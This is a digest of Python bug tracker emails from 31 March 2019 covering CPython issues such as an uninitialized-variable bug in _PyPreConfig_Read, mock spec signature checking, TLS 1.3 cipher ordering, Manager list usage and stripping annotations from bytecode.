From report at bugs.python.org  Sun Mar 31 12:02:36 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 31 Mar 2019 16:02:36 +0000
Subject: [issue36150] Possible assertion failures due to _ctypes.c's
 PyCData_reduce()
In-Reply-To: <1551381221.9.0.581708361836.issue36150@roundup.psfhosted.org>
Message-ID: <1554048156.33.0.265552239398.issue36150@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12574
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36150>
_______________________________________

From report at bugs.python.org  Sun Mar 31 12:04:19 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 16:04:19 +0000
Subject: [issue30587] Mock with spec object does not ensure method call
 signatures
In-Reply-To: <1496837046.98.0.920527641247.issue30587@psf.upfronthosting.co.za>
Message-ID: <1554048259.57.0.832142432131.issue30587@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +cjw296, mariocj89, michael.foord
versions: +Python 3.8 -Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30587>
_______________________________________

From report at bugs.python.org  Sun Mar 31 12:04:33 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 16:04:33 +0000
Subject: [issue30587] Mock with spec object does not ensure method call
 signatures
In-Reply-To: <1496837046.98.0.920527641247.issue30587@psf.upfronthosting.co.za>
Message-ID: <1554048273.26.0.652147814541.issue30587@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30587>
_______________________________________

From report at bugs.python.org  Sun Mar 31 12:23:53 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 31 Mar 2019 16:23:53 +0000
Subject: [issue36466] Adding a way to strip annotations from compiled bytecode
In-Reply-To: <1553825507.66.0.407362572806.issue36466@roundup.psfhosted.org>
Message-ID: <1554049433.85.0.891904851855.issue36466@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> So as long as we have a separate mechanism to disable this I'm not worried 

Having a separate mechanism is a good solution.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Sun Mar 31 12:31:33 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 16:31:33 +0000
Subject: [issue36442] Different ValueError for the same operation in List and
 Tuple
In-Reply-To: <1553620284.92.0.688954440948.issue36442@roundup.psfhosted.org>
Message-ID: <1554049893.14.0.562480899301.issue36442@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

> And seems that this issue is a duplicate of an old issue with a long discussion and an unfinished patch, but currently I cannot find that issue.

possibly duplicate of issue13349 which was rejected ?

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36442>
_______________________________________

From report at bugs.python.org  Sun Mar 31 12:33:27 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Sun, 31 Mar 2019 16:33:27 +0000
Subject: [issue36150] Possible assertion failures due to _ctypes.c's
 PyCData_reduce()
In-Reply-To: <1551381221.9.0.581708361836.issue36150@roundup.psfhosted.org>
Message-ID: <1554050007.19.0.813420310441.issue36150@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
pull_requests: +12575

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36150>
_______________________________________

From report at bugs.python.org  Sun Mar 31 12:46:03 2019
From: report at bugs.python.org (Brad Larsen)
Date: Sun, 31 Mar 2019 16:46:03 +0000
Subject: [issue36496] Local variables can be used uninitialized in
 _PyPreConfig_Read()
Message-ID: <1554050763.93.0.364085310832.issue36496@roundup.psfhosted.org>


New submission from Brad Larsen <brad at bradfordlarsen.com>:

In bpo-36301, in commit f72346c47537657a287a862305f65eb5d7594fbf, a couple possible uses of uninitialized variables were introduced into Python/preconfig.c.

In particular, in _PyPreConfig_Read(), along an error-handling path, the `init_utf8_mode` and `init_legacy_encoding` variables will be read uninitialized.

    _PyInitError
    _PyPreConfig_Read(_PyPreConfig *config, const _PyArgv *args)
    {
        /* ... */
    
        if (args) {
            err = _PyPreCmdline_SetArgv(&cmdline, args);
            if (_Py_INIT_FAILED(err)) {
                goto done;                                            /* ERROR HANDLING DONE HERE */
            }
        }
    
        int init_utf8_mode = Py_UTF8Mode;                             /* VARIABLE INITIZLIED HERE */
    #ifdef MS_WINDOWS
        int init_legacy_encoding = Py_LegacyWindowsFSEncodingFlag;    /* VARIABLE INITIZLIED HERE */
    #endif
    
        /* ... */
    
    done:
        if (init_ctype_locale != NULL) {
            setlocale(LC_CTYPE, init_ctype_locale);
            PyMem_RawFree(init_ctype_locale);
        }
        _PyPreConfig_Clear(&save_config);
        Py_UTF8Mode = init_utf8_mode ;                                /* UNINITIALIZED READ HERE */
    #ifdef MS_WINDOWS
        Py_LegacyWindowsFSEncodingFlag = init_legacy_encoding;        /* UNINITIALIZED READ HERE */
    #endif
        _PyPreCmdline_Clear(&cmdline);
        return err;
    }

----------
components: Interpreter Core
messages: 339268
nosy: blarsen
priority: normal
severity: normal
status: open
title: Local variables can be used uninitialized in _PyPreConfig_Read()
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36496>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:03:06 2019
From: report at bugs.python.org (Brad Larsen)
Date: Sun, 31 Mar 2019 17:03:06 +0000
Subject: [issue36496] Local variables can be used uninitialized in
 _PyPreConfig_Read()
In-Reply-To: <1554050763.93.0.364085310832.issue36496@roundup.psfhosted.org>
Message-ID: <1554051786.55.0.460710271428.issue36496@roundup.psfhosted.org>


Change by Brad Larsen <brad at bradfordlarsen.com>:


----------
keywords: +patch
pull_requests: +12576
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36496>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:03:30 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 17:03:30 +0000
Subject: [issue36496] Local variables can be used uninitialized in
 _PyPreConfig_Read()
In-Reply-To: <1554050763.93.0.364085310832.issue36496@roundup.psfhosted.org>
Message-ID: <1554051810.07.0.29948010764.issue36496@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36496>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:07:42 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 17:07:42 +0000
Subject: [issue30587] Mock with spec object does not ensure method call
 signatures
In-Reply-To: <1496837046.98.0.920527641247.issue30587@psf.upfronthosting.co.za>
Message-ID: <1554052062.13.0.86574463435.issue30587@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I am slightly concerned if spec should gain more responsibility than just validating attribute access which is mentioned in the docs. With the linked PR spec below would also validate the signature which is not done in Python 3.7 so this might break code for someone who only wants to validate access attribute access and not signature of the methods. It seems the PR also adds autospec argument to Mock that is currently not supported though spec and spec_set are supported.

from unittest import mock

def foo(lish):
    pass

mock_foo = mock.Mock(spec=foo)
mock_foo(1, 2)

try:
    mock_foo.non_existent
except AttributeError:
    print("raises AttributeError for non-existent attribute")

# 3.7

?  cpython git:(pr_1982) python3.7 /tmp/foo.py
raises AttributeError for non-existent attribute

# With PR

?  cpython git:(pr_1982) ./python.exe /tmp/foo.py
Traceback (most recent call last):
  File "/tmp/foo.py", line 7, in <module>
    mock_foo(1, 2)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/unittest/mock.py", line 1009, in __call__
    _mock_self._mock_check_sig(*args, **kwargs)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/unittest/mock.py", line 103, in checksig
    sig.bind(*args, **kwargs)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/inspect.py", line 3016, in bind
    return args[0]._bind(args[1:], kwargs)
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/inspect.py", line 2937, in _bind
    raise TypeError('too many positional arguments') from None
TypeError: too many positional arguments

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30587>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:08:03 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 17:08:03 +0000
Subject: [issue30587] Mock with spec object does not ensure method call
 signatures
In-Reply-To: <1496837046.98.0.920527641247.issue30587@psf.upfronthosting.co.za>
Message-ID: <1554052083.21.0.635587257764.issue30587@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
pull_requests:  -4411

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30587>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:10:26 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 17:10:26 +0000
Subject: [issue36442] Different ValueError for the same operation in List and
 Tuple
In-Reply-To: <1553620284.92.0.688954440948.issue36442@roundup.psfhosted.org>
Message-ID: <1554052226.66.0.127090668615.issue36442@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Yes, it is. Thank you Karthikeyan!

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Non-informative error message in index() and remove() functions

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36442>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:14:20 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 17:14:20 +0000
Subject: [issue36150] Possible assertion failures due to _ctypes.c's
 PyCData_reduce()
In-Reply-To: <1551381221.9.0.581708361836.issue36150@roundup.psfhosted.org>
Message-ID: <1554052460.4.0.615826794125.issue36150@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset a110817c080ca3c2f3262350b5d7e0c0582527e6 by Serhiy Storchaka (Zackery Spytz) in branch '2.7':
bpo-36150: Fix possible assertion failures due to _ctypes.c's PyCData_reduce(). (GH-12106) (GH-12643)
https://github.com/python/cpython/commit/a110817c080ca3c2f3262350b5d7e0c0582527e6


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36150>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:15:13 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 17:15:13 +0000
Subject: [issue36150] Possible assertion failures due to _ctypes.c's
 PyCData_reduce()
In-Reply-To: <1551381221.9.0.581708361836.issue36150@roundup.psfhosted.org>
Message-ID: <1554052513.9.0.655531811615.issue36150@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 5e233951d931acc0e927100c51e9a27a2791b6a5 by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7':
bpo-36150: Fix possible assertion failures due to _ctypes.c's PyCData_reduce(). (GH-12106) (GH-12642)
https://github.com/python/cpython/commit/5e233951d931acc0e927100c51e9a27a2791b6a5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36150>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:26:48 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 17:26:48 +0000
Subject: [issue36150] Possible assertion failures due to _ctypes.c's
 PyCData_reduce()
In-Reply-To: <1551381221.9.0.581708361836.issue36150@roundup.psfhosted.org>
Message-ID: <1554053208.0.0.575447300811.issue36150@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36150>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:37:10 2019
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 31 Mar 2019 17:37:10 +0000
Subject: [issue32538] Multiprocessing Manager on 3D list - no change of the
 list possible
In-Reply-To: <1515769556.66.0.467229070634.issue32538@psf.upfronthosting.co.za>
Message-ID: <1554053830.95.0.648291724341.issue32538@roundup.psfhosted.org>


Berker Peksag <berker.peksag at gmail.com> added the comment:

I'm a bit late to reply, but I think you are using the API wrong. Please try the following snippet:

from multiprocessing import Manager

manager = Manager()

data = manager.list([manager.list([manager.list(['', '', '', '', '', '', '', '', '', '', '', ''])])])

print(data[0][0])
print(data[0][0][0])
print(data[0][0][1])

data[0][0][0] = 5
data[0][0][1] = '5'

print(data[0][0])
print(data[0][0][0])
print(data[0][0][1])

Output:

$ ./python.exe example.py
['', '', '', '', '', '', '', '', '', '', '', '']


[5, '5', '', '', '', '', '', '', '', '', '', '']
5
5

You can also take a look at the tests in the original commit that implemented this feature:

https://github.com/python/cpython/commit/86a76684269f940a20366cb42668f1acb0982dca

----------
nosy: +berker.peksag, davin, pitrou
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32538>
_______________________________________

From report at bugs.python.org  Sun Mar 31 13:37:27 2019
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 31 Mar 2019 17:37:27 +0000
Subject: [issue32538] Multiprocessing Manager on 3D list - no change of the
 list possible
In-Reply-To: <1515769556.66.0.467229070634.issue32538@psf.upfronthosting.co.za>
Message-ID: <1554053847.68.0.162474705.issue32538@roundup.psfhosted.org>


Change by Berker Peksag <berker.peksag at gmail.com>:


----------
components: +Library (Lib) -Interpreter Core

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32538>
_______________________________________

From report at bugs.python.org  Sun Mar 31 15:46:18 2019
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 31 Mar 2019 19:46:18 +0000
Subject: [issue36484] Can't reorder TLS 1.3 ciphersuites
In-Reply-To: <1553945035.34.0.303610202958.issue36484@roundup.psfhosted.org>
Message-ID: <1554061578.65.0.735068349993.issue36484@roundup.psfhosted.org>


Christian Heimes <lists at cheimes.de> added the comment:

I don't have plans to implement cipher suite selection for TLS 1.3 any time soon, maybe not at all. TLS 1.3 changed cipher selection a lot, making the API more complicated. The signature algorithm and key agreement groups are handled as separate extensions, resulting in three additional APIs.

Applications shouldn't modify the cipher suites any more. These days TLS libraries provide a good and safe selection of suites. Weak ciphers should be disabled by either a security update of the TLS library or system-wide settings. 

There is one workaround: You can influence connection parameters with an OpenSSL config file [1][2] by setting OPENSSL_CONF env var. OpenSSL parses the file only once, so you have to set it before you start Python.

[1] https://www.openssl.org/docs/manmaster/man5/config.html
[2] https://fedoraproject.org/wiki/Changes/CryptoPolicy

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36484>
_______________________________________

From report at bugs.python.org  Sun Mar 31 16:22:44 2019
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 31 Mar 2019 20:22:44 +0000
Subject: [issue36493] Add math.midpoint(a,b) function
In-Reply-To: <1554037806.92.0.427188886689.issue36493@roundup.psfhosted.org>
Message-ID: <1554063764.76.0.064298344431.issue36493@roundup.psfhosted.org>


Christian Heimes <lists at cheimes.de> added the comment:

What's the argument for midpoint(inf, -inf) == 0? This feels wrong to me. I'm certainly not an expert on math, but I still remember that there are different kinds of infinities. For examples 'n**n' approaches infinity 'faster' than '-(2**n)'.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36493>
_______________________________________

From report at bugs.python.org  Sun Mar 31 16:32:26 2019
From: report at bugs.python.org (Eman Alashwali)
Date: Sun, 31 Mar 2019 20:32:26 +0000
Subject: [issue36484] Can't reorder TLS 1.3 ciphersuites
In-Reply-To: <1554061578.65.0.735068349993.issue36484@roundup.psfhosted.org>
Message-ID: <CABQAAG5dJeFt2Do8npb7z7dT1USuf9vJG37Eo0F6-xD6Qwq_6Q@mail.gmail.com>


Eman Alashwali <eman.alashwali at gmail.com> added the comment:

Thanks. Just to clarify regarding your comment: "Applications shouldn't
modify the cipher suites any more.":
I use python to develop scripts for running experiments, which requires me
to simulate specific clients precisely including their TLS 1.3 ciphers
order.
As you know, TLS 1.3 can not have weak ciphers and only 3 or 4 secure ones
are permitted by design. But still the order should be accurate in
simulation experiment settings. This is different from ordinary
development. It is a bit disappointing that the developer can re-order the
weaker ones (in TLS 1.2) but not TLS 1.3.
However, thanks again for your reply.

On Sun, Mar 31, 2019 at 8:46 PM Christian Heimes <report at bugs.python.org>
wrote:

>
> Christian Heimes <lists at cheimes.de> added the comment:
>
> I don't have plans to implement cipher suite selection for TLS 1.3 any
> time soon, maybe not at all. TLS 1.3 changed cipher selection a lot, making
> the API more complicated. The signature algorithm and key agreement groups
> are handled as separate extensions, resulting in three additional APIs.
>
> Applications shouldn't modify the cipher suites any more. These days TLS
> libraries provide a good and safe selection of suites. Weak ciphers should
> be disabled by either a security update of the TLS library or system-wide
> settings.
>
> There is one workaround: You can influence connection parameters with an
> OpenSSL config file [1][2] by setting OPENSSL_CONF env var. OpenSSL parses
> the file only once, so you have to set it before you start Python.
>
> [1] https://www.openssl.org/docs/manmaster/man5/config.html
> [2] https://fedoraproject.org/wiki/Changes/CryptoPolicy
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36484>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36484>
_______________________________________

From report at bugs.python.org  Sun Mar 31 18:23:25 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 31 Mar 2019 22:23:25 +0000
Subject: [issue36466] Adding a way to strip annotations from compiled bytecode
In-Reply-To: <1553825507.66.0.407362572806.issue36466@roundup.psfhosted.org>
Message-ID: <1554071005.02.0.499663565975.issue36466@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Here are some quick measurements on a single module? that uses typing. It shows about a 7% space savings between the baseline and patched versions:

  -rw-r--r--  1 raymond  staff  3490 Mar 31 15:07 kmeans.cpython-38.opt-2.pyc
  -rw-r--r--  1 raymond  staff  3245 Mar 31 15:10 kmeans.cpython-38.opt-2.pyc

Since unique types are singletons, the savings will likely be much less on bigger modules where the same types are used over and over again in the signatures:

    >>> List[int] is List[int]
    True

It would be nice if someone could measure the effect on a big project. It's possible that the benefits are negligible compared the savings from docstrings.

? https://raw.githubusercontent.com/rhettinger/modernpython/master/kmeans.py

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Sun Mar 31 20:53:27 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 01 Apr 2019 00:53:27 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1554080007.98.0.2351675985.issue34160@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Stefan, as the module maintainer, you get to make the final decision on this.  What you've proposed makes sense in light of the prior discussion and the python-dev discussion.  Unless you think something new will come along to change your mind, just mark as closed/fixed, then continue work on c14n in another tracker issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________